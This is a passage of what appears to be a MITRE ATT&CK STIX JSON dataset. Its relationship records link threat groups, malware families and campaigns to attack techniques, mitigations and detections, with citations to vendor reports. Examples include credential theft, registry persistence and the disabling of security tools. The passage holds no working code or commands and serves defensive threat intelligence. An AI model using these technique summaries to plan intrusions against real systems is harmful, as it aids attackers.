VMs.","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--866d0d6d-02c6-42bd-aa2f-02907fdc0969","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dc64a0c1-9302-4816-8b1d-b6b348f12efb","created":"2022-09-30T18:59:31.329Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T18:59:31.329Z","description":"For [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors established email addresses to register domains for their operations.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f","target_ref":"attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dc6fcf08-c160-412e-be5e-3b669d43762a","created":"2022-03-25T21:08:25.060Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Hermetic Wizard March 2022","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022.","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:21:45.942Z","description":"[HermeticWizard](https://attack.mitre.org/software/S0698) has the ability to encrypt PE files with a reverse XOR loop.(Citation: ESET Hermetic Wizard March 2022)","relationship_type":"uses","source_ref":"malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dc71c59d-1c71-480a-97de-972248489aa4","created":"2023-05-17T18:52:18.162Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-17T18:59:29.949Z","description":"[KOPILUWAK](https://attack.mitre.org/software/S1075) was used as a first-stage profiling utility for previous victims of [ANDROMEDA](https://attack.mitre.org/software/S1074) during [C0026](https://attack.mitre.org/campaigns/C0026).(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"campaign--c89fa3ff-4773-4daf-8aec-d8f43f10116e","target_ref":"malware--09fcc02f-f9d4-43fa-8609-5e5e186b7103","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dc724053-6ac6-43c6-b24a-3e1234a973de","created":"2023-03-14T18:10:05.838Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-14T18:10:05.838Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--55bb4471-ff1f-43b4-88c1-c9384ec47abf","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dc7ab03a-ba08-4a79-9b5d-c0c38aa14577","created":"2024-09-17T16:15:50.286Z","revoked":false,"external_references":[{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T16:15:50.286Z","description":"[TA577](https://attack.mitre.org/groups/G1037) has lured users into executing malicious JavaScript files by sending malicious links via email.(Citation: Latrodectus APR 2024)","relationship_type":"uses","source_ref":"intrusion-set--13ef3485-70d2-4567-b934-0e83c1eafcf1","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dc7cb17d-c3d3-4c3c-b79e-499cede49baa","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-union","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.","source_name":"SecureWorks BRONZE UNION June 2017"}],"modified":"2019-07-14T21:15:55.180Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has detached network shares after exfiltrating files, likely to evade detection.(Citation: SecureWorks BRONZE UNION June 2017)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dc7e8f00-d57c-4cfd-971c-510ede375c2f","type":"relationship","created":"2020-11-06T18:40:38.194Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","source_name":"cobaltstrike manual"}],"modified":"2022-02-25T18:58:15.241Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can recover hashed passwords.(Citation: cobaltstrike manual)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dc802d43-a21f-4871-a281-4896817b9bc1","type":"relationship","created":"2020-08-10T14:43:04.549Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne Lazarus macOS July 2020","url":"https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/","description":"Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple’s macOS Platform. Retrieved August 7, 2020."}],"modified":"2020-08-10T14:43:04.549Z","description":"[Cryptoistic](https://attack.mitre.org/software/S0498) has the ability to send and receive files.(Citation: SentinelOne Lazarus macOS July 2020)","relationship_type":"uses","source_ref":"malware--a04d9a4c-bb52-40bf-98ec-e350c2d6a862","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--dc80f7b4-ea52-47ed-a6a3-7fd3fc96d319","created":"2022-08-07T15:29:26.446Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"","modified":"2022-08-07T15:29:26.446Z","relationship_type":"uses","source_ref":"intrusion-set--03be849d-b5a2-4766-9dda-48976bae5710","target_ref":"malware--36801ffb-5c85-4c50-9121-6122e389366d","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dc815cae-8024-469b-b801-5d187ffeca81","created":"2024-07-01T20:52:51.621Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T20:54:05.052Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) can retrieve output from arbitrary processes and shell commands via a pipe.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dc8ae1a5-aa85-4388-b175-f05bbf5f0082","created":"2024-03-21T21:10:57.942Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-21T21:10:57.942Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--e8a0a025-3601-4755-abfb-8d08283329fb","target_ref":"attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dc8bedf8-c6fe-4b99-bde0-db676ba35a91","type":"relationship","created":"2020-06-19T21:36:31.630Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-19T21:36:31.630Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has abused the PasswordChangeNotify to monitor for and capture account password changes.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dc8fa1fa-6aff-45f7-a425-2f62bf729324","created":"2022-05-12T18:03:59.372Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET DazzleSpy Jan 2022","description":"M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022.","url":"https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-20T19:59:15.701Z","description":"[MacMa](https://attack.mitre.org/software/S1016) has removed the `com.apple.quarantineattribute` from the dropped file, `$TMPDIR/airportpaird`.(Citation: ESET DazzleSpy Jan 2022)","relationship_type":"uses","source_ref":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","target_ref":"attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--dc9643aa-7b61-4cb1-b181-3d88c0e9742a","created":"2022-05-05T17:41:07.368Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Gelsemium](https://attack.mitre.org/software/S0666) has used unverified signatures on malicious DLLs.(Citation: ESET Gelsemium June 2021)","modified":"2022-05-05T17:41:07.368Z","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dc9d4208-5e09-437e-bdd1-0dbfc4b54355","type":"relationship","created":"2020-05-18T17:31:39.464Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Maze March 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/","description":"Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."},{"source_name":"Sophos Maze VM September 2020","url":"https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/","description":"Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."}],"modified":"2020-10-09T16:24:40.124Z","description":"[Maze](https://attack.mitre.org/software/S0449) has disabled dynamic analysis and other security tools including IDA debugger, x32dbg, and OllyDbg.(Citation: McAfee Maze March 2020) It has also disabled Windows Defender's Real-Time Monitoring feature and attempted to disable endpoint protection services.(Citation: Sophos Maze VM September 2020)","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dc9ff40d-a9c6-4042-b4f5-922ca7a64536","type":"relationship","created":"2020-10-19T19:53:10.755Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NIST 800-63-3","url":"https://pages.nist.gov/800-63-3/sp800-63b.html","description":"Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019."}],"modified":"2020-10-22T17:49:03.093Z","description":"Refer to NIST guidelines when creating password policies. (Citation: NIST 800-63-3)","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dca36cf3-4501-4682-9d3e-df148b46792e","type":"relationship","created":"2021-03-03T20:11:21.892Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft HAFNIUM March 2020","url":"https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/","description":"MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021."}],"modified":"2021-04-19T17:50:00.251Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has used open-source C2 frameworks, including Covenant.(Citation: Microsoft HAFNIUM March 2020)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dca41ced-2af1-4cec-8ed2-a1c77bc535ed","type":"relationship","created":"2020-05-12T14:12:19.680Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Inception November 2018","url":"https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/","description":"Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."}],"modified":"2020-05-12T15:18:44.236Z","description":"[PowerShower](https://attack.mitre.org/software/S0441) has added a registry key so future powershell.exe instances are spawned with coordinates for a window position off-screen by default.(Citation: Unit 42 Inception November 2018)","relationship_type":"uses","source_ref":"malware--53486bc7-7748-4716-8190-e4f1fde04c53","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dca5cde1-ebf3-4cb8-ab80-1a5ab13000fa","type":"relationship","created":"2020-02-05T14:17:47.193Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-05T14:17:47.193Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dcae1ba7-5181-440e-9bb2-c03d09ad7377","created":"2024-03-05T18:40:24.439Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"},{"source_name":"Volexity Ivanti Zero-Day Exploitation January 2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-06T19:39:12.126Z","description":"[WIREFIRE](https://attack.mitre.org/software/S1115) can respond to specific HTTP `POST` requests to `/api/v1/cav/client/visits`.(Citation: Mandiant Cutting Edge January 2024)(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)","relationship_type":"uses","source_ref":"malware--c93e3079-43fb-4d8d-9e99-db63d07eadc9","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dcafed44-9d31-4d75-915f-660f5fd62fed","type":"relationship","created":"2021-03-05T18:09:35.145Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."},{"source_name":"Crowdstrike EvilCorp March 2021","url":"https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/","description":"Podlosky, A., Feeley, B. (2021, March 17). INDRIK SPIDER Supersedes WastedLocker with Hades Ransomware to Circumvent OFAC Sanctions. Retrieved September 15, 2021."}],"modified":"2021-10-01T20:31:32.461Z","description":"(Citation: Crowdstrike Indrik November 2018)(Citation: Crowdstrike EvilCorp March 2021)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"malware--fa766a65-5136-4ff3-8429-36d08eaa0100","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dcb0f1a0-18e5-47e0-ab2a-324aca7f89ba","created":"2024-09-23T23:05:44.977Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T23:05:44.977Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) used [LaZagne](https://attack.mitre.org/software/S0349) to obtain passwords from web browsers.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dcb3ae1c-c1a5-4a28-b206-40f8387804ac","type":"relationship","created":"2021-03-01T16:51:08.237Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Amnesty Intl. Ocean Lotus February 2021","url":"https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf","description":"Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."}],"modified":"2021-09-24T20:24:27.308Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has collected e-mail addresses for activists and bloggers in order to target them with spyware.(Citation: Amnesty Intl. Ocean Lotus February 2021)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dcb733f7-0b36-4b25-82d4-c332810562a7","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-03-29T19:54:46.197Z","description":"Several [Ke3chang](https://attack.mitre.org/groups/G0004) backdoors achieved persistence by adding a Run key.(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dcbc4dd1-01e6-4ff6-b21e-572f5074f417","type":"relationship","created":"2021-08-16T22:04:42.356Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"win10_asr","url":"https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction","description":"Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}],"modified":"2021-10-16T20:11:13.972Z","description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent malware from abusing WMI to attain persistence.(Citation: win10_asr)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dcbe360b-c7d3-45bd-a1ef-a13bc2a562fe","type":"relationship","created":"2020-10-21T02:14:05.498Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 CookieMiner Jan 2019","url":"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/","description":"Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved July 22, 2020."}],"modified":"2020-10-21T02:14:05.498Z","description":"[CookieMiner](https://attack.mitre.org/software/S0492) has used a Unix shell script to run a series of commands targeting macOS.(Citation: Unit42 CookieMiner Jan 2019)","relationship_type":"uses","source_ref":"malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dcc2c503-25dc-47bb-b9cb-35ce27e73cd2","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf","description":"Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.","source_name":"Microsoft SIR Vol 19"}],"modified":"2020-03-17T00:47:59.899Z","description":"[CORESHELL](https://attack.mitre.org/software/S0137) has established persistence by creating autostart extensibility point (ASEP) Registry entries in the Run key and other Registry keys, as well as by creating shortcuts in the Internet Explorer Quick Start folder.(Citation: Microsoft SIR Vol 